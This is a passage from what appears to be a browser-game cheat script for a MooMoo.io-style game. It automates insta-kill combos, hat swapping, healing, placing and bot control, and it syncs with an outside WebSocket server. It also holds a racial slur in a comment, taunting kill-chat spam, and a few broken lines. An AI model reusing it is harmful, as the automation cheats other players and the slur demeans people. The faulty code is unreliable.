  7781. if (near.primaryIndex == 7 || (player.weapons[0] == 7 && (near.skinIndex == 11 || near.tailIndex == 21))) {
  7782. slowHeal(healTimeout)
  7783. } else {
  7784. slowHeal(healTimeout, 1)
  7785. }
  7786. }
  7787. if (damaged >= 25 && near.dist2 <= 140 && player.skinIndex == 11 && player.tailIndex == 21) instaC.canCounter = true
  7788. }
  7789. } else {
  7790. if (!tmpObj.setPoisonTick && (tmpObj.damaged == 5 || (tmpObj.latestTail == 13 && tmpObj.damaged == 2))) {
  7791. tmpObj.setPoisonTick = true;
  7792. }
  7793. }
  7794. }
  7795. } else {
  7796. let [sid, value, damaged] = updHealth;
  7797. let totalDamage = 100 - value;
  7798. let tmpObj = findPlayerBySID(sid);
  7799. let bullTicked = false;
  7800.  
  7801. if (tmpObj == player) {
  7802. if (tmpObj.skinIndex == 7 && (damaged == 5 || (tmpObj.latestTail == 13 && damaged == 2))) {
  7803. if (my.reSync) {
  7804. my.reSync = false;
  7805. tmpObj.setBullTick = true;
  7806. bullTicked = true;
  7807.  
  7808.  
  7809. }
  7810. }
  7811. }
  7812. }
  7813. });
  7814. advHeal = [];
  7815. }
  7816.  
  7817. players.forEach((tmp) => {
  7818. if (!tmp.visible && player != tmp) {
  7819. tmp.reloads = {
  7820. 0: 0,
  7821. 1: 0,
  7822. 2: 0,
  7823. 3: 0,
  7824. 4: 0,
  7825. 5: 0,
  7826. 6: 0,
  7827. 7: 0,
  7828. 8: 0,
  7829. 9: 0,
  7830. 10: 0,
  7831. 11: 0,
  7832. 12: 0,
  7833. 13: 0,
  7834. 14: 0,
  7835. 15: 0,
  7836. 53: 0,
  7837. };
  7838. }
  7839. if (tmp.setBullTick) {
  7840. tmp.bullTimer = 0;
  7841. }
  7842. if (tmp.setPoisonTick) {
  7843. tmp.poisonTimer = 0;
  7844. }
  7845. tmp.updateTimer();
  7846. });
  7847. if (inGame) {
  7848. if (enemy.length) {
  7849. if (player.canEmpAnti) {
  7850. player.canEmpAnti = false;
  7851. if (near.dist2 <= 200 && !my.safePrimary(near) && !my.safeSecondary(near)) {
  7852. if (near.reloads[53] == 0){
  7853. player.empAnti = true;
  7854. player.soldierAnti = false;
  7855. //modLog("EmpAnti");
  7856. } else {
  7857. player.empAnti = false;
  7858. player.soldierAnti = true;
  7859. //modLog("SoldierAnti");
  7860. }
  7861. }
  7862. }
  7863. let prehit = gameObjects.filter(tmp => tmp.dmg && tmp.active && tmp.isTeamObject(player) && UTILS.getDist(tmp, near, 0, 3) <= (tmp.scale + near.scale)).sort(function (a, b) {
  7864. return UTILS.getDist(a, near, 0, 2) - UTILS.getDist(b, near, 0, 2);
  7865. })[0];
  7866. if (prehit) {
  7867. if (near.dist2 <= items.weapons[player.weapons[0]].range + player.scale * 1.8 && configs.predictTick) {
  7868. instaC.canSpikeTick = true;
  7869. instaC.syncHit = true;
  7870. if (configs.revTick && player.weapons[1] == 15 && player.reloads[53] == 0 && instaC.perfCheck(player, near)) {
  7871. instaC.revTick = true;
  7872. }
  7873. }
  7874. }
  7875. let antiSpikeTick = gameObjects.filter(tmp => tmp.dmg && tmp.active && !tmp.isTeamObject(player) && UTILS.getDist(tmp, player, 0, 3) < (tmp.scale + player.scale)).sort(function (a, b) {
  7876. return UTILS.getDist(a, player, 0, 2) - UTILS.getDist(b, player, 0, 2);
  7877. })[0];
  7878. if (antiSpikeTick && !traps.inTrap) {
  7879. if (near.dist2 <= items.weapons[5].range + near.scale * 1.8) {
  7880. my.anti0Tick = 1;
  7881. player.chat.message = "Anti " + near.sid + " (" + near.name + ")";
  7882. player.chat.count = 2000;
  7883. }
  7884. }
  7885. }
  7886. //if ((!useWasd ? true : ((player.checkCanInsta(true) >= 100 ? player.checkCanInsta(true) : player.checkCanInsta(false)) >= (player.weapons[1] == 10 ? 95 : 100))) && near.dist2 <= items.weapons[player.weapons[1] == 10 ? player.weapons[1] : player.weapons[0]].range + near.scale * 1.8 && (instaC.wait || (!useWasd && Math.floor(Math.random() * 5) == 0)) && !instaC.isTrue && !my.waitHit && player.reloads[player.weapons[0]] == 0 && player.reloads[player.weapons[1]] == 0 && (!useWasd ? true : getEl("instaType").value == "oneShot" ? (player.reloads[53] <= (player.weapons[1] == 10 ? 0 : game.tickRate)) : true) && instaC.perfCheck(player, near) && rKeyPressed) {
  7887. // if (player.checkCanInsta(true) >= 100) {
  7888. //instaC.nobull = !useWasd ? false : instaC.canSpikeTick ? false : true;
  7889. //} else {
  7890. // niger // instaC.nobull = false;
  7891. //}
  7892. ////instaC.can = true;
  7893. //} else {
  7894. // instaC.can = false;
  7895. ////////////////// //////}
  7896. if ((useWasd ? true : ((player.checkCanInsta(true) >= 100 ? player.checkCanInsta(true) : player.checkCanInsta(false)) >= (player.weapons[1] == 10 ? 95 : 100))) && near.dist2 <= items.weapons[player.weapons[1] == 10 ? player.weapons[1] : player.weapons[0]].range + near.scale * 1.8 && (instaC.wait || (useWasd && Math.floor(Math.random() * 5) == 0)) && !instaC.isTrue && !my.waitHit && player.reloads[player.weapons[0]] == 0 && player.reloads[player.weapons[1]] == 0 && (useWasd ? true : getEl("instaType").value == "oneShot" ? (player.reloads[53] <= (player.weapons[1] == 10 ? 0 : game.tickRate)) : true) && instaC.perfCheck(player, near)) {
  7897. if (player.checkCanInsta(true) >= 100) {
  7898. instaC.nobull = useWasd ? false : instaC.canSpikeTick ? false : true;
  7899. } else {
  7900. instaC.nobull = false;
  7901. }
  7902. instaC.can = true;
  7903. } else {
  7904. instaC.can = false;
  7905. }
  7906. macro.q && place(0, getAttackDir());
  7907. macro.f && place(4, getSafeDir());
  7908. macro.v && place(2, getSafeDir());
  7909. macro.y && place(5, getSafeDir());
  7910. macro.h && place(player.getItemType(22), getSafeDir());
  7911. macro.n && place(3, getSafeDir());
  7912. if (game.tick % 1 == 0) {
  7913. if (mills.place) {
  7914. let plcAng = 1.18;
  7915. for (let i = -plcAng; i <= plcAng; i += plcAng) {
  7916. checkPlace(3, UTILS.getDirect(player.oldPos, player, 2, 2) + i);
  7917. }
  7918. } else {
  7919. if (mills.placeSpawnPads) {
  7920. for (let i = 0; i < Math.PI * 2; i += Math.PI / 2) {
  7921. checkPlace(player.getItemType(20), UTILS.getDirect(player.oldPos, player, 2, 2) + i);
  7922. }
  7923. }
  7924. }
  7925. }
  7926. // Skidded :P
  7927. if (instaC.can) {
  7928. instaC.changeType((configs.revTick || player.weapons[1] == 10) ? "rev" : instaC.nobull ? "nobull" : "normal");
  7929. }
  7930. if (instaC.canCounter) {
  7931. instaC.canCounter = false;
  7932. if (player.reloads[player.weapons[0]] == 0 && !instaC.isTrue) {
  7933. instaC.counterType();
  7934. }
  7935. }
  7936. if (instaC.canSpikeTick) {
  7937. instaC.canSpikeTick = false;
  7938. if (instaC.revTick) {
  7939. instaC.revTick = false;
  7940. if ([1, 2, 3, 4, 5, 6].includes(player.weapons[0]) && player.reloads[player.weapons[1]] == 0 && !instaC.isTrue) {
  7941. instaC.changeType("rev");
  7942. }
  7943. } else {
  7944. if ([1, 2, 3, 4, 5, 6].includes(player.weapons[0]) && player.reloads[player.weapons[0]] == 0 && !instaC.isTrue) {
  7945. instaC.spikeTickType();
  7946. if (instaC.syncHit) {
  7947. }
  7948. }
  7949. }
  7950. }
  7951. if (!clicks.middle && (clicks.left || clicks.right) && !instaC.isTrue) {
  7952. if ((player.weaponIndex != (clicks.right && player.weapons[1] == 10 ? player.weapons[1] : player.weapons[0])) || player.buildIndex > -1) {
  7953. selectWeapon(clicks.right && player.weapons[1] == 10 ? player.weapons[1] : player.weapons[0]);
  7954. }
  7955. if (player.reloads[clicks.right && player.weapons[1] == 10 ? player.weapons[1] : player.weapons[0]] == 0 && !my.waitHit) {
  7956. sendAutoGather();
  7957. my.waitHit = 1;
  7958. game.tickBase(() => {
  7959. sendAutoGather();
  7960. my.waitHit = 0;
  7961. }, 1);
  7962. }
  7963. }
  7964. if (useWasd && !clicks.left && !clicks.right && !instaC.isTrue && near.dist2 <= (items.weapons[player.weapons[0]].range + near.scale * 1.8) && !traps.inTrap) {
  7965. if ((player.weaponIndex != player.weapons[0]) || player.buildIndex > -1) {
  7966. selectWeapon(player.weapons[0]);
  7967. }
  7968. if (player.reloads[player.weapons[0]] == 0 && !my.waitHit) {
  7969. sendAutoGather();
  7970. my.waitHit = 1;
  7971. game.tickBase(() => {
  7972. sendAutoGather();
  7973. my.waitHit = 0;
  7974. }, 1);
  7975. }
  7976. }
  7977. if (traps.inTrap) {
  7978. if (!clicks.left && !clicks.right && !instaC.isTrue) {
  7979. if (player.weaponIndex != (traps.notFast() ? player.weapons[1] : player.weapons[0]) || player.buildIndex > -1) {
  7980. selectWeapon(traps.notFast() ? player.weapons[1] : player.weapons[0]);
  7981. }
  7982. if (player.reloads[traps.notFast() ? player.weapons[1] : player.weapons[0]] == 0 && !my.waitHit) {
  7983. sendAutoGather();
  7984. my.waitHit = 1;
  7985. game.tickBase(() => {
  7986. sendAutoGather();
  7987. my.waitHit = 0;
  7988. }, 1);
  7989. }
  7990. }
  7991. }
  7992. if (clicks.middle && !traps.inTrap) {
  7993. if (!instaC.isTrue && player.reloads[player.weapons[1]] == 0) {
  7994. if (my.ageInsta && player.weapons[0] != 4 && player.weapons[1] == 9 && player.age >= 9 && enemy.length) {
  7995. instaC.bowMovement();
  7996. } else {
  7997. instaC.rangeType();
  7998. }
  7999. }
  8000. }
  8001. if (macro.t && !traps.inTrap) {
  8002. if (!instaC.isTrue && player.reloads[player.weapons[0]] == 0 && (player.weapons[1] == 15 ? (player.reloads[player.weapons[1]] == 0) : true) && (player.weapons[0] == 5 || (player.weapons[0] == 4 && player.weapons[1] == 15))) {
  8003. instaC[(player.weapons[0] == 4 && player.weapons[1] == 15) ? "kmTickMovement" : "tickMovement"]();
  8004. }
  8005. }
  8006. if (macro["."] && !traps.inTrap) {
  8007. if (!instaC.isTrue && player.reloads[player.weapons[0]] == 0 && ([9, 12, 13, 15].includes(player.weapons[1]) ? (player.reloads[player.weapons[1]] == 0) : true)) {
  8008. instaC.boostTickMovement();
  8009. }
  8010. }
  8011. if (player.weapons[1] && !clicks.left && !clicks.right && !traps.inTrap && !instaC.isTrue && !(useWasd && near.dist2 <= items.weapons[player.weapons[0]].range + near.scale * 1.8)) {
  8012. if (player.reloads[player.weapons[0]] == 0 && player.reloads[player.weapons[1]] == 0) {
  8013. if (!my.reloaded) {
  8014. my.reloaded = true;
  8015. let fastSpeed = items.weapons[player.weapons[0]].spdMult < items.weapons[player.weapons[1]].spdMult ? 1 : 0;
  8016. if (player.weaponIndex != player.weapons[fastSpeed] || player.buildIndex > -1) {
  8017. selectWeapon(player.weapons[fastSpeed]);
  8018. }
  8019. }
  8020. // if(useWasd) {
  8021. // if (!autos.stopspin) {
  8022. // setTimeout(()=>{
  8023. // autos.stopspin = true;
  8024. // }, 375);
  8025. // }
  8026. // }
  8027. } else {
  8028. my.reloaded = false;
  8029. if(useWasd) {
  8030. autos.stopspin = false;
  8031. }
  8032. if (player.reloads[player.weapons[0]] > 0) {
  8033. if (player.weaponIndex != player.weapons[0] || player.buildIndex > -1) {
  8034. selectWeapon(player.weapons[0]);
  8035. }
  8036. } else if (player.reloads[player.weapons[0]] == 0 && player.reloads[player.weapons[1]] > 0) {
  8037. if (player.weaponIndex != player.weapons[1] || player.buildIndex > -1) {
  8038. selectWeapon(player.weapons[1]);
  8039. }
  8040. if(useWasd) {
  8041. if (!autos.stopspin) {
  8042. setTimeout(()=>{
  8043. autos.stopspin = true;
  8044. }, 750);
  8045. }
  8046. }
  8047. }
  8048. }
  8049. }
  8050. if (!instaC.isTrue && !traps.inTrap && !traps.replaced) {
  8051. traps.autoPlace();
  8052. }
  8053. if (!macro.q && !macro.f && !macro.v && !macro.h && !macro.n) {
  8054. packet("D", getAttackDir());
  8055. }
  8056. let hatChanger = function() {
  8057. if (my.anti0Tick > 0) {
  8058. buyEquip(6, 0);
  8059. } else {
  8060. if (clicks.left || clicks.right) {
  8061. if (((!enemy.length || near.dist2 >= 500) && player.shameCount > 0 && player.skinIndex != 45) || my.reSync) {
  8062. buyEquip(7, 0);
  8063. } else {
  8064. if (clicks.left) {
  8065. buyEquip(player.reloads[player.weapons[0]] == 0 ? getEl("weaponGrind").checked ? 40 : 7 : player.empAnti ? 22 : player.soldierAnti ? 6 : (getEl("antiBullType").value == "abreload" && near.antiBull > 0) ? 11 : near.dist2 <= 500 ? (getEl("antiBullType").value == "abalway" && near.reloads[near.primaryIndex] == 0) ? 11 : 6 : biomeGear(1, 1), 0);
  8066. } else if (clicks.right) {
  8067. buyEquip(player.reloads[clicks.right && player.weapons[1] == 10 ? player.weapons[1] : player.weapons[0]] == 0 ? 40 : player.empAnti ? 22 : player.soldierAnti ? 6 : (getEl("antiBullType").value == "abreload" && near.antiBull > 0) ? 11 : near.dist2 <= 500 ? (getEl("antiBullType").value == "abalway" && near.reloads[near.primaryIndex] == 0) ? 11 : 6 : biomeGear(1, 1), 0);
  8068. }
  8069. }
  8070. } else if (traps.inTrap) {
  8071. if ((traps.info.health <= items.weapons[player.weaponIndex].dmg ? false : (player.reloads[player.weapons[1] == 10 ? player.weapons[1] : player.weapons[0]] == 0)) && my.anti0Tick == 0) {
  8072. buyEquip(40, 0);
  8073.  
  8074. if(player.shameCount > 1) {
  8075. buyEquip(7, 0);
  8076. buyEquip(13, 1);
  8077. } else {
  8078. if(player.lastshamecount != 1 || player.lastshamecount != 2 || player.lastshamecount != 3 || player.lastshamecount != 4 || player.lastshamecount != 5 || player.lastshamecount != 6 || player.lastshamecount == 0) {
  8079. buyEquip(6, 0);
  8080. }
  8081. }
  8082. autoQ = true;
  8083. healer();
  8084.  
  8085. } else {
  8086. if (((!enemy.length || near.dist2 >= 200) && player.shameCount > 0 && player.skinIndex != 45) || my.reSync) {
  8087. buyEquip(7, 0);
  8088. } else {
  8089. buyEquip((player.empAnti || near.dist2 > 500 || !enemy.length) ? 22 : 6, 0);
  8090. }
  8091. }
  8092. } else {
  8093. if (player.empAnti || player.soldierAnti) {
  8094. buyEquip(player.empAnti ? 22 : 6, 0);
  8095. } else {
  8096. if (((!enemy.length || near.dist2 >= 200) && player.shameCount > 0 && player.skinIndex != 45) || my.reSync) {
  8097. buyEquip(7, 0);
  8098. } else {
  8099. if (player.y2 >= config.mapScale / 5 - config.riverWidth / 5 && player.y2 <= config.mapScale / 5 + config.riverWidth / 5) {
  8100. if (!configs.alwaysFlipper) {
  8101. if (near.dist2 <= 550) {
  8102. buyEquip((getEl("antiBullType").value == "abreload" && near.antiBull > 0) ? 11 : (getEl("antiBullType").value == "abalway" && near.reloads[near.primaryIndex] == 0) ? 11 : 6, 0);
  8103. } else {
  8104. biomeGear(1);
  8105. }
  8106. } else {
  8107. biomeGear(1);
  8108. }
  8109. } else {
  8110. if (near.dist2 <= 550) {
  8111. buyEquip((getEl("antiBullType").value == "abreload" && near.antiBull > 0) ? 11 : (getEl("antiBullType").value == "abalway" && near.reloads[near.primaryIndex] == 0) ? 11 : 6, 0);
  8112. } else {
  8113. biomeGear(1);
  8114. }
  8115. }
  8116. }
  8117. }
  8118. }
  8119. }
  8120. }
  8121. let accChanger = function() {
  8122. if (clicks.left) {
  8123. // Left mouse button is clicked
  8124. buyEquip(18, 1);
  8125. } else if (clicks.right) {
  8126. buyEquip(21, 1)
  8127. // Right mouse button is clicked
  8128. // Do nothing for right mouse button click
  8129. } else if (traps.inTrap) {
  8130. // Neither left nor right mouse button is clicked
  8131. // Check if in a trap and buy equipment accordingly
  8132. buyEquip(21, 1);
  8133. } else if (near.dist2 < 550){
  8134. if (getEl("antiBullType").value == "noab") {
  8135. buyEquip(16, 1)
  8136. } else if (configs.alwaysFlipper && player.y2 >= config.mapScale / 5 - config.riverWidth / 5 && player.y2 <= config.mapScale / 5 + config.riverWidth / 5) {
  8137. buyEquip(19, 1)
  8138. } else {
  8139. buyEquip(21, 1);
  8140. }
  8141. } else {
  8142. buyEquip(11, 1);
  8143. }
  8144. };
  8145. if (storeMenu.style.display != "block" && !instaC.isTrue && !instaC.ticking) {
  8146. hatChanger();
  8147. accChanger();
  8148. }
  8149. if (configs.autoPush && enemy.length && !traps.inTrap && !instaC.ticking) {
  8150. autoPush();
  8151. } else {
  8152. if (my.autoPush) {
  8153. my.autoPush = false;
  8154. packet("a", lastMoveDir || undefined, 1);
  8155. }
  8156. }
  8157. /* if (configs.autoplacer) {
  8158. autoplacer();
  8159. }*/
  8160. /* packetData.placeQ = packetData.place;
  8161. packetData.place = [];
  8162. if (packetData.placeQ.length) for (let i = 0; i < packetData.placeQ.length; i++) {
  8163. if (packetData.placeQ[i][0] != undefined && player.itemCounts[packetData.placeQ[i][0]] ? (player.itemCounts[packetData.placeQ[i][0]] < 99) : true && secondaryCheck(packetData.placeQ[i][0], packetData.placeQ[i][1])) {
  8164. place(packetData.placeQ[i][0], packetData.placeQ[i][1]);
  8165. }
  8166. }*/
  8167. if (instaC.ticking) {
  8168. instaC.ticking = false;
  8169. }
  8170. if (instaC.syncHit) {
  8171. instaC.syncHit = false;
  8172. }
  8173. if (player.empAnti) {
  8174. player.empAnti = false;
  8175. }
  8176. if (player.soldierAnti) {
  8177. player.soldierAnti = false;
  8178. }
  8179. if (my.anti0Tick > 0) {
  8180. my.anti0Tick--
  8181. }
  8182. if (traps.replaced) {
  8183. traps.replaced = false;
  8184. }
  8185. if (traps.antiTrapped) {
  8186. traps.antiTrapped = false;
  8187. }
  8188. }
  8189. }
  8190. if (botSkts.length) {
  8191. botSkts.forEach((bots) => {
  8192. if (true) {
  8193. bots[0].showName = 'YEAHHH';
  8194. }
  8195. });
  8196. }
  8197. }
  8198. // UPDATE LEADERBOARD:
  8199. /* function updateLeaderboard(data) {
  8200. UTILS.removeAllChildren(leaderboardData);
  8201. var tmpC = 1;
  8202. for (var i = 0; i < data.length; i += 3) {
  8203. // console.log(data);
  8204. (function(i) {
  8205. UTILS.generateElement({
  8206. class: "leaderHolder",
  8207. parent: leaderboardData,
  8208. children: [
  8209. UTILS.generateElement({
  8210. class: "leaderboardItem",
  8211. style: data[i] == player.sid ? "color: rgba(); font-size: 18px;" : "color: rgba(); font-size: 18px; padding: 1px;", //"font-size: 18px;",
  8212. text: (data[i + 1] != "" ? data[i + 1] : "unknown") + " |"
  8213. }),
  8214. UTILS.generateElement({
  8215. class: "a", //class: "leaderScore",
  8216. style: data[i] == player.sid ? "color: rgba(255,255,255,1); font-size: 18px;" : "color: rgba(255,255,255,0.6); font-size: 18px; padding: 1px;",
  8217. text: ("‎ " + UTILS.kFormat(data[i + 2]) || "‎ 0")
  8218. })
  8219. ]
  8220. });
  8221. })(i);
  8222. tmpC++;
  8223. }
  8224. }*/
  8225. // UPDATE LEADERBOARD:
  8226. function updateLeaderboard(data) {
  8227. lastLeaderboardData = data;
  8228. return;
  8229. UTILS.removeAllChildren(leaderboardData);
  8230. let tmpC = 1;
  8231. for (let i = 0; i < data.length; i += 3) {
  8232. (function(i) {
  8233. UTILS.generateElement({
  8234. class: "leaderHolder",
  8235. parent: leaderboardData,
  8236. children: [
  8237. UTILS.generateElement({
  8238. class: "leaderboardItem",
  8239. style: "color:" + ((data[i] == playerSID) ? "#fff" : "rgba(255,255,255,0.6)"),
  8240. text: tmpC + ". " + (data[i + 1] != "" ? data[i + 1] : "unknown")
  8241. }),
  8242. UTILS.generateElement({
  8243. class: "leaderScore",
  8244. text: UTILS.sFormat(data[i + 2]) || "0"
  8245. })
  8246. ]
  8247. });
  8248. })(i);
  8249. tmpC++;
  8250. }
  8251. }
  8252.  
  8253. // LOAD GAME OBJECT:
  8254. function loadGameObject(data) {
  8255. for (let i = 0; i < data.length;) {
  8256. objectManager.add(data[i], data[i + 1], data[i + 2], data[i + 3], data[i + 4],
  8257. data[i + 5], items.list[data[i + 6]], true, (data[i + 7] >= 0 ? {
  8258. sid: data[i + 7]
  8259. } : null));
  8260. // sid, x, y, dir, s, type, data, setSID, owner
  8261. /*let dist = UTILS.getDist({
  8262. x: data[i + 1],
  8263. y: data[i + 2]
  8264. }, player, 0, 2);
  8265. let aim = UTILS.getDirect({
  8266. x: data[i + 1],
  8267. y: data[i + 2]
  8268. }, player, 0, 2);
  8269. find = findObjectBySid(data[i]);
  8270. if (data[i + 6] == 15) {
  8271. if (find && !find.isTeamObject(player)) {
  8272. if (dist <= 100) {
  8273. traps.dist = dist;
  8274. traps.aim = aim;
  8275. traps.protect(aim);
  8276. }
  8277. }
  8278. }*/
  8279. i += 8;
  8280. }
  8281. }
  8282.  
  8283. // ADD AI:
  8284. function loadAI(data) {
  8285. for (let i = 0; i < ais.length; ++i) {
  8286. ais[i].forcePos = !ais[i].visible;
  8287. ais[i].visible = false;
  8288. }
  8289. if (data) {
  8290. let tmpTime = performance.now();
  8291. for (let i = 0; i < data.length;) {
  8292. tmpObj = findAIBySID(data[i]);
  8293. if (tmpObj) {
  8294. tmpObj.index = data[i + 1];
  8295. tmpObj.t1 = (tmpObj.t2 === undefined) ? tmpTime : tmpObj.t2;
  8296. tmpObj.t2 = tmpTime;
  8297. tmpObj.x1 = tmpObj.x;
  8298. tmpObj.y1 = tmpObj.y;
  8299. tmpObj.x2 = data[i + 2];
  8300. tmpObj.y2 = data[i + 3];
  8301. tmpObj.d1 = (tmpObj.d2 === undefined) ? data[i + 4] : tmpObj.d2;
  8302. tmpObj.d2 = data[i + 4];
  8303. tmpObj.health = data[i + 5];
  8304. tmpObj.dt = 0;
  8305. tmpObj.visible = true;
  8306. } else {
  8307. tmpObj = aiManager.spawn(data[i + 2], data[i + 3], data[i + 4], data[i + 1]);
  8308. tmpObj.x2 = tmpObj.x;
  8309. tmpObj.y2 = tmpObj.y;
  8310. tmpObj.d2 = tmpObj.dir;
  8311. tmpObj.health = data[i + 5];
  8312. if (!aiManager.aiTypes[data[i + 1]].name)
  8313. tmpObj.name = config.cowNames[data[i + 6]];
  8314. tmpObj.forcePos = true;
  8315. tmpObj.sid = data[i];
  8316. tmpObj.visible = true;
  8317. }
  8318. i += 7;
  8319. }
  8320. }
  8321. }
  8322.  
  8323. // ANIMATE AI:
  8324. function animateAI(sid) {
  8325. tmpObj = findAIBySID(sid);
  8326. if (tmpObj) tmpObj.startAnim();
  8327. }
  8328.  
  8329. // GATHER ANIMATION:
  8330. function gatherAnimation(sid, didHit, index) {
  8331. tmpObj = findPlayerBySID(sid);
  8332. if (tmpObj) {
  8333. tmpObj.startAnim(didHit, index);
  8334. tmpObj.gatherIndex = index;
  8335. tmpObj.gathering = 1;
  8336. if (didHit) {
  8337. let tmpObjects = objectManager.hitObj;
  8338. objectManager.hitObj = [];
  8339. game.tickBase(() => {
  8340. // refind
  8341. tmpObj = findPlayerBySID(sid);
  8342. let val = items.weapons[index].dmg * (config.weaponVariants[tmpObj[(index < 9 ? "prima" : "seconda") + "ryVariant"]].val) * (items.weapons[index].sDmg || 1) * (tmpObj.skinIndex == 40 ? 3.3 : 1);
  8343. tmpObjects.forEach((healthy) => {
  8344. healthy.health -= val;
  8345. });
  8346. }, 1);
  8347. }
  8348. }
  8349. }
  8350.  
  8351. // WIGGLE GAME OBJECT:
  8352. function wiggleGameObject(dir, sid) {
  8353. tmpObj = findObjectBySid(sid);
  8354. if (tmpObj) {
  8355. tmpObj.xWiggle += config.gatherWiggle * Math.cos(dir);
  8356. tmpObj.yWiggle += config.gatherWiggle * Math.sin(dir);
  8357. if (tmpObj.health) {
  8358. objectManager.hitObj.push(tmpObj);
  8359. }
  8360. }
  8361. }
  8362.  
  8363. // SHOOT TURRET:
  8364. function shootTurret(sid, dir) {
  8365. tmpObj = findObjectBySid(sid);
  8366. if (tmpObj) {
  8367. if (config.anotherVisual) {
  8368. tmpObj.lastDir = dir;
  8369. } else {
  8370. tmpObj.dir = dir;
  8371. }
  8372. tmpObj.xWiggle += config.gatherWiggle * Math.cos(dir + Math.PI);
  8373. tmpObj.yWiggle += config.gatherWiggle * Math.sin(dir + Math.PI);
  8374. }
  8375. }
  8376.  
  8377. // UPDATE PLAYER VALUE:
  8378. function updatePlayerValue(index, value, updateView) {
  8379. if (player) {
  8380. player[index] = value;
  8381. if (index == "points") {
  8382. if (configs.autoBuy) {
  8383. autoBuy.hat();
  8384. autoBuy.acc();
  8385. }
  8386. } else if (index == "kills") {
  8387. if (configs.killChat) {
  8388. io.send("6", "Saviour Saved you")
  8389. setTimeout(() => {
  8390. io.send("6", "REPENT NOW!!!")
  8391. setTimeout(() => {
  8392. io.send("6", "Or be condemned to death")
  8393. setTimeout(() => {
  8394. io.send("6", "DRAGGING TO UNDERWORLD")
  8395. }, 1000);
  8396. },1000);
  8397. }, 1000);
  8398. }
  8399. }
  8400. }
  8401. }
  8402.  
  8403.  
  8404. function clearConsole() {
  8405. if (configs.fpsBoost) {
  8406. console.clear();
  8407. }
  8408. }
  8409.  
  8410. // Function to get a varying kill chat message
  8411. function getKillChatMessage(kills) {
  8412. // Calculate the base kill count
  8413. let baseKillCount = Math.floor(kills / 10) * 10;
  8414.  
  8415. if (kills <= 1) {
  8416. return "";
  8417. } else {
  8418. // Display additional information when the kill count crosses a multiple of 10
  8419. let additionalInfo = "x" + (Math.floor(kills / 10)); // Adjusted the calculation
  8420. return additionalInfo; // Return the additionalInfo
  8421. }
  8422. }
  8423.  
  8424. // ACTION BAR:
  8425. function updateItems(data, wpn) {
  8426. if (data) {
  8427. if (wpn) {
  8428. player.weapons = data;
  8429. player.primaryIndex = player.weapons[0];
  8430. player.secondaryIndex = player.weapons[1];
  8431. if (!instaC.isTrue) {
  8432. selectWeapon(player.weapons[0]);
  8433. }
  8434. } else {
  8435. player.items = data;
  8436. }
  8437. }
  8438.  
  8439. for (let i = 0; i < items.list.length; i++) {
  8440. let tmpI = items.weapons.length + i;
  8441. let actionBarItem = getEl("actionBarItem" + tmpI);
  8442. actionBarItem.style.display = player.items.indexOf(items.list[i].id) >= 0 ? "inline-block" : "none";
  8443. // Add shadow to the element
  8444. // actionBarItem.style.boxShadow = "2px 2px 5px rgba(0, 0, 0, 0.5)";
  8445. document.getElementsByTagName('button').style.boxShadow = "2px 2px 5px rgba(0, 0, 0, 0.5)";
  8446.  
  8447. }
  8448.  
  8449. for (let i = 0; i < items.weapons.length; i++) {
  8450. let actionBarItem = getEl("actionBarItem" + i);
  8451. actionBarItem.style.display = player.weapons[items.weapons[i].type] == items.weapons[i].id ? "inline-block" : "none";
  8452. // Add shadow to the element
  8453. // actionBarItem.style.boxShadow = "2px 2px 5px rgba(0, 0, 0, 0.5)";
  8454. document.getElementsByTagName('button').style.boxShadow = "2px 2px 5px rgba(0, 0, 0, 0.5)";
  8455. }
  8456.  
  8457. let kms = player.weapons[0] == 3 && player.weapons[1] == 15;
  8458. if (kms) {
  8459. getEl("actionBarItem3").style.display = "none";
  8460. getEl("actionBarItem4").style.display = "inline-block";
  8461. }
  8462. }
  8463.  
  8464. // ADD PROJECTILE:
  8465. function addProjectile(x, y, dir, range, speed, indx, layer, sid) {
  8466. projectileManager.addProjectile(x, y, dir, range, speed, indx, null, null, layer, inWindow).sid = sid;
  8467. runAtNextTick.push(Array.prototype.slice.call(arguments));
  8468. }
  8469.  
  8470. // REMOVE PROJECTILE:
  8471. function remProjectile(sid, range) {
  8472. for (let i = 0; i < projectiles.length; ++i) {
  8473. if (projectiles[i].sid == sid) {
  8474. projectiles[i].range = range;
  8475. let tmpObjects = objectManager.hitObj;
  8476. objectManager.hitObj = [];
  8477. game.tickBase(() => {
  8478. let val = projectiles[i].dmg;
  8479. tmpObjects.forEach((healthy) => {
  8480. if (healthy.projDmg) {
  8481. healthy.health -= val;
  8482. }
  8483. });
  8484. }, 1);
  8485. }
  8486. }
  8487. }
  8488.  
  8489. // lol this useless,,, fr
  8490. let noob = false;
  8491. let serverReady = true;
  8492. var isProd = location.hostname !== "127.0.0.1" && !location.hostname.startsWith("192.168.");
  8493. let wssws = isProd ? "wss" : "ws";
  8494. let project = new WebSocket(`${wssws}://beautiful-sapphire-toad.glitch.me`);
  8495. let withSync = false;
  8496. project.binaryType = "arraybuffer";
  8497. project.onmessage = function(msg) {
  8498. let data = msg.data;
  8499. if (data == "isready") {
  8500. serverReady = true;
  8501. }
  8502. if (data == "fine") {
  8503. noob = false;
  8504. }
  8505.  
  8506. if (data == "tezt") {
  8507. addMenuChText(`${player.name}[${player.sid}]`, 'EEEEEEEEEEE', "white");
  8508. }
  8509. if (data == "yeswearesyncer") {
  8510. // let delay = Date.now() - wsDelay;
  8511. withSync = true;
  8512. if (player) {
  8513. textManager.showText(player.x, player.y, 35, 0.1, 500, "Sync: " + window.pingTime + "ms", "#fff");
  8514. console.log("synced!!!!!!!! also delay: " + window.pingTime + "ms");
  8515. }
  8516. }
  8517. };
  8518.  
  8519. // SHOW ALLIANCE MENU:
  8520. function allianceNotification(sid, name) {
  8521. let findBotSID = findSID(bots, sid);
  8522. if (findBotSID) {}
  8523. }
  8524.  
  8525. function setPlayerTeam(team, isOwner) {
  8526. if (player) {
  8527. player.team = team;
  8528. player.isOwner = isOwner;
  8529. if (team == null)
  8530. alliancePlayers = [];
  8531. }
  8532. }
  8533.  
  8534. function setAlliancePlayers(data) {
  8535. alliancePlayers = data;
  8536. }
  8537.  
  8538. // STORE MENU:
  8539. function updateStoreItems(type, id, index) {
  8540. if (index) {
  8541. if (!type)
  8542. player.tails[id] = 1;
  8543. else {
  8544. player.latestTail = id;
  8545. }
  8546. } else {
  8547. if (!type)
  8548. player.skins[id] = 1,
  8549. id == 7 && (my.reSync = true); // testing perfect bulltick...
  8550. else {
  8551. player.latestSkin = id;
  8552. }
  8553. }
  8554. }
  8555.  
  8556. // SEND MESSAGE:
  8557. function receiveChat(sid, message) {
  8558. let kawaii = false;
